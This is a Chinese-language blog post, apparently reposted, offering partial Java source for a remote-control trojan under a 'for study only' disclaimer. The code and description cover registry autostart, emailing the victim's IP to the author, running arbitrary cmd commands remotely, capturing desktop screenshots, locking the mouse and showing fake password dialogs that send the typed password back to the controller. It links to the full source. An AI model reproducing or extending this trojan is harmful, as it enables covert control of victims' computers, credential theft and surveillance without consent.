利用Java写木马程序(附源码!)
这个小程序是很久以前写的,现在发上来(仅供大家学习参考,不能用于任何非法行为~)
木马定义:利用计算机程序漏洞侵入后窃取文件的程序程序被称为木马。它是一种具有隐藏性的、自发性的可被用来进行恶意行为的程序,多不会直接对电脑产生危害,而是以控制为主。
当然我写的这个没这么“强大”。。。
首先讲下我的实现思路:
主要通过Socket和ServerSocket之间传输数据。
由于我没有自己的一个服务器(没有固定IP),所以在这个程序中,我把被控制端作为ServerSocket,.控制端为Socket。
要连接ServerSocket,首先要知道其的IP地址
这里我采用当程序启动时,从ServerSoket端发送一份包含其IP信息的邮件到自己的邮箱。
随后控制端就可以顺利连接到ServerSoket端了。但是这里有个问题,就是到ServerSoket处于内网时,将无法顺利连接
连接成功之后,我们就可以发送命令给ServerSoket。然后在ServerSoket那一端进行执行。
这里的执行包括ServerSoket进行相应的本地操作(具体操作的内容下面有说明),以及发送数据给我们能的控制端。
程序功能说明:
/*
* 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
* 本程序功能
* 1、程序开机自动启动(√)
* 2、自动发送邮件
* 3、执行dos命令,并将信息返回、这里可以执行关机等命令(√)
* 4、锁定鼠标,这里通过一个线程实现
* 5、查看被控制端的桌面,将桌面画面截图并发送给控制端(√)
* 6、在被控制端弹出对话框,多种对话框模式(√)
* 7、让被控制端闪屏(√)
* 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
*/
下面给出一些程序运行的效果图:
首先输入IP地址进行连接,通过邮件我们可以知道被控制端的IP地址,下面看下邮件效果
然后我们就可以进行相应的操作了
如输入-help,可以显示本程序支持的命令。
这里演示下在被控制端弹出输入密码对话框
我们在控制端输入-dinpass 亲,请输入的你密码!
那么弹出的对话框效果如图所示!
当被控制点击确定时,将发送其输入的密码到控制端,我们可以看到效果。
我输入的是123321
再演示个执行dos的关机命令。
其它功能如鼠标锁定等,不方便控制演示。就留给大家自己探索!!!
下面附上代码
由于代码较多,这里上传部分代码
控制端部分代码
ControlWin.java
import ...; public class ControlWin { Socket socket; ........ public ControlWin() { in = new Scanner(System.in); System.out.print("输入IP:"); IP = in.nextLine().trim(); try { socket = new Socket(IP, PORT); ....初始化其它信息 System.out.println("contected"); dos = new DataOutputStream(socket.getOutputStream()); dis = new DataInputStream(socket.getInputStream()); new Thread(new MyInputThread()).start(); go(); } catch (UnknownHostException e) { e.printStackTrace(); return; } catch (IOException e) { e.printStackTrace(); return; } } public void go() {//开始发送命令 while (true) { System.out.println("intput commend:"); dosS = in.nextLine().trim(); if () {....... } else if (dosS.endsWith("-help")) { System.out .println("-doutmsg msg 以对话框形式输出信息\n" + "-dinmsg 弹出一个输入对话框\n" + "-dinpass msg 弹出一个输入密码对话框+显示信息msg\n" + "-flash msg 闪屏并显示msg所表示的文字\n" + "-p:获取图片\n" + "-m l锁定键盘 .....-m a取消锁定\n" + "输入其则执行相应的dos命令,如输入ipconfig 则显示相应的ip信息\n" + "exit:退出"); continue; } try { dos.writeUTF(dosS); } catch (IOException e) { e.printStackTrace(); } } } /*接受被控制端发送过来的图片*/ public void getPic() {..... while (true) { try { num = dis.read(imageData, 0, imageData.length); fos.write(imageData, 0, num); length -= num; if (length == 0) { break; } } catch (Exception e) { try { System.out.println("error"); fos.flush(); fos.close(); } catch (IOException e1) { e1.printStackTrace(); } break; } }.... } public static void main(String[] args) { new ControlWin(); } class MyInputThread implements Runnable {接受被控制端返回的文本信息 public void run() { while (true) { ..... } } } }被控制端部分代码
Test.java
public class Test { ServerSocket serverSocket; Socket socket;...... public Test() { /* 在注册表中设置开机自动运行 register(); 以及发送邮件,主要是把自己的IP发出来,并进行一些初始化...... */ go(); } } /* 在注册表中设置开机自动运行 */ void go() { while (true) { /* * 这里不断的接受发送过来的命令然后根据命令执行相应的操作 * 如:(标有√,的是本程序已经实现的功能) * 1、我们可以通过开启一个线程通过robot锁定鼠标(√) * 2、执行dos命令(√) * 3、传输被控制端的文件 * 4、查看被控制端的桌面(√) * 5、在被控制端弹出对话框(√) * 6、让被控制端闪屏(√) * 7、等等等等 * 具体的实现都在这里进行,当然这个需要和控制者那段的代码相配合 * 同时自己设计好具体的命令 * */ try { commendString = dis.readUTF().trim(); } catch (IOException e) { System.out.println("leave"); break; } 然后对commendString进行分析,执行相应的命令就是上面所描述的1,2,3...等等等命令 } } /*在注册表注册开机自动启动*/ public void register() { ...... } /*启动线程锁定鼠标*/ void mouseLock(String s) { ...... } /*执行dos命令*/ void dosExe(String dosString) { String command = "cmd /c " + dosString; String s = null; try { process = r.exec(command); bufferedReader = new BufferedReader(new InputStreamReader(process .getInputStream())); dos.writeUTF("1start"); while ((s = bufferedReader.readLine()) != null) { s = s.trim(); dos.writeUTF(s); } dos.writeUTF("1end"); } catch (IOException e) { e.printStackTrace(); } } /*发送图片*/ void sendPic() {...... } public static void main(String[] args) { new Test(); } /*获取本地IP*/ String getIP() { String ipString = ""; Enumeration<NetworkInterface> netInterfaces = null; try { netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface ni = netInterfaces.nextElement(); ipString = ipString + ni.getDisplayName() + "\n"; ipString = ipString + ni.getName() + "\n"; Enumeration<InetAddress> ips = ni.getInetAddresses(); while (ips.hasMoreElements()) { ipString = ipString + ips.nextElement().getHostAddress() + "\n"; } } } catch (Exception e) { e.printStackTrace(); } return ipString; } /*显示消息对话框*/ class ShowDialogThread extends Thread {...... } class MouseLockThread extends Thread {...... } // 这里可以启动其它的应用程序 class OtherApp extends Thread { } /*下面两个类用于文件复制*/ class JarUtil {...... } class MyCopy { public int fileCopy(String sFile, String oFile) {...... } } /* * 发送邮件部分 需要一两个邮箱,一个是发送方邮箱,一个是接受邮箱 */ class SMail { boolean sended = false; Properties props; Session session; Message msg; Transport transport; public void send(String s) { try { // System.out.println(s); props = new Properties(); props.setProperty("mail.smtp.auth", "true"); props.setProperty("mail.transport.protocol", "smtp"); session = Session.getDefaultInstance(props); // session.setDebug(true); msg = new MimeMessage(session); msg.setSubject("ip"); msg.setText(s); /*xxxxxxxxxxxxxxxx为发送方邮箱用户名*/ msg.setFrom(new InternetAddress("xxxxxxxxxxxxxxxx@sina.com")); transport = session.getTransport(); /*xxxxxxxxxxxxxxxx为发送方邮箱用户名、 *yyyyyyyyy为发送方邮箱密码*/ transport.connect("smtp.sina.com", 25, "xxxxxxxxxxxxxxxx", "yyyyyyyyy"); transport.sendMessage(msg, new Address[] { new InternetAddress( "496977458@qq.com") }); transport.close(); sended = true; } catch (Exception e) { } } public SMail() { sended = false; } } /*密码输入框*/ class MyDialogPassInput extends JDialog {...... } /*闪屏*/ class Flash {...... } /*输入对话框*/ class MyDialogMsgInput extends JDialog { JTextField text; JButton sureButton; String string; public MyDialogMsgInput(String s) {...... } }
转自:http://blog.csdn.net/leasystu/article/details/7268402
附上完整源码地址